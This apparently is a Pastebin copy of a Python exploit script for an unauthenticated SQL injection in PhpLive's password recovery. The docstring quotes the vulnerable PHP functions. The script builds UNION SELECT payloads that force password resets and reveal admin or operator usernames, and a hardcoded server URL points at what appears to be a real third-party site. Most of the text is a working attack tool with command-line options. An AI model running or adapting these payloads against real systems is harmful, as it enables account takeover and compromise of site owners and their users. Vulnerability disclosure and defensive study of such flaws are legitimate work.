Advertisement
Guest User

Untitled

a guest
Jan 29th, 2020
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.02 KB | None | 0 0
  1. #!/bin/env python
  2. ################################################################################################
  3. # Exploit title: Password Recovery Sql Injection
  4. # Exploit Author: Tiago Carvalho
  5. # Vendor Homepage: http://www.phplivesupport.com/?plk=osicodes-5-ykq-m
  6. # Version : 4.4.8 - 4.5.4
  7. # Product Name: Phplive
  8. # Tested on: Debian \ Kali linux 2016-1
  9. ################################################################################################
  10. """
  11. Their are multiple sql injection vunlerabilities in this product.
  12. The exploit uses the sql injection vulnerability on the last step of the password recovery process
  13. and force the application to rest the password and show the username, without requiring authentication
  14. or to ever execute the first step, the vulnerability allows the recovery of both admin and operator.
  15.  
  16. Vulnerable code location: API/Setup/get.php
  17. The filtering in place allows alphanumeric and restricts the use of serveral special chars,
  18. its use of mysql escape functions and stripslashes are bypassed by since theirs no need to inject
  19. special char to create a valid statement.
  20.  
  21. FUNCTION Setup_get_InfoByID( &$dbh,
  22. $adminid )
  23. {
  24. if ( $adminid == "" )
  25. return false ;
  26.  
  27. LIST( $adminid ) = database_mysql_quote( $dbh, $adminid ) ;
  28.  
  29. $query = "SELECT * FROM p_admins WHERE adminID = $adminid LIMIT 1" ;
  30. database_mysql_query( $dbh, $query ) ;
  31.  
  32. if ( $dbh[ 'ok' ] )
  33. {
  34. $data = database_mysql_fetchrow( $dbh ) ;
  35. return $data ;
  36. }
  37. return false ;
  38. }
  39.  
  40. Vulnerable code location: /API/Ops/get.php
  41.  
  42. FUNCTION Ops_get_OpInfoByID( &$dbh,
  43. $opid )
  44. {
  45. if ( $opid == "" )
  46. return false ;
  47.  
  48. LIST( $opid ) = database_mysql_quote( $dbh, $opid ) ;
  49.  
  50. $query = "SELECT * FROM p_operators WHERE opID = $opid LIMIT 1" ;
  51. database_mysql_query( $dbh, $query ) ;
  52.  
  53. if ( $dbh[ 'ok' ] )
  54. {
  55. $data = database_mysql_fetchrow( $dbh ) ;
  56. return $data ;
  57. }
  58. return false ;
  59. }
  60.  
  61.  
  62. """
  63.  
  64. import re
  65. import urllib2
  66. import md5
  67. import string
  68. import argparse
  69.  
  70. match = re.compile(r"<div\sclass=\"edit_title\".*?>(.*)</div>", re.MULTILINE)
  71.  
  72.  
  73. server_url = "https://lc-fastpay.fastpay.co.id/phplive/"
  74.  
  75. def build_payload(host, sql, search_exp, target, last_active, passwd):
  76. req_url = "http://%s/index.php%s"
  77. url_params = "?v=%s&%s=0+%s"
  78. str = sql % (last_active, passwd, search_exp)
  79. pwd_verify = md5.new("%d%d" % (last_active,passwd)).hexdigest()
  80. url_params = url_params % (pwd_verify,target,str)
  81. return req_url % (host, url_params)
  82.  
  83. def exploit(host, admin, last_active, passwd):
  84. if admin:
  85. target="adminid"
  86. sql = "union+all+select+adminid,created,%d,status,ses,login,%d,email+from+p_admins+where+login+like+%s25"
  87. else:
  88. target="opid"
  89. sql = "union+all+select+opid,%d,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,login,%d,0,0,0,0,0,0+from+p_operators+where+login+like+%s25"
  90. char_list = list(string.ascii_letters)
  91. for char in char_list:
  92. payload = build_payload(host, sql, hex(ord(char)), target=target, last_active=last_active, passwd=passwd)
  93. request = urllib2.urlopen(payload)
  94. if request.code == 200:
  95. html = request.read()
  96. result = match.findall(html)
  97. if len(result) == 2 and result[1]:
  98. print "[*]\tSUCCESS!!!!!"
  99. print "[*]\t%s %s" % (re.sub("<span.*?>|</span>","",result[0]), result[1])
  100. break
  101.  
  102. # exploit(server_url, admin=False, last_active=1, passwd=1)
  103.  
  104. if __name__ == '__main__':
  105. admin = True
  106. parser = argparse.ArgumentParser(description='PhpLive 4.4.8 Password Recovery Sql injection Exploit')
  107. parser.add_argument("-u", "--url", help="url host|ipaddress/path eg: localhost/phplive")
  108. parser.add_argument("-o", "--operator", help="Execute operators password reset", action="store_true")
  109. parser.add_argument("-l", "--lastactive", help="Last active date (int)", type=int, default=0)
  110. parser.add_argument("-p", "--passwd", help="Password (int)", type=int, default=0)
  111.  
  112. args = parser.parse_args()
  113. if args.operator:
  114. print "[*]\toperator password reset"
  115. admin = False
  116.  
  117. exploit(args.url, admin, args.lastactive, args.passwd)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement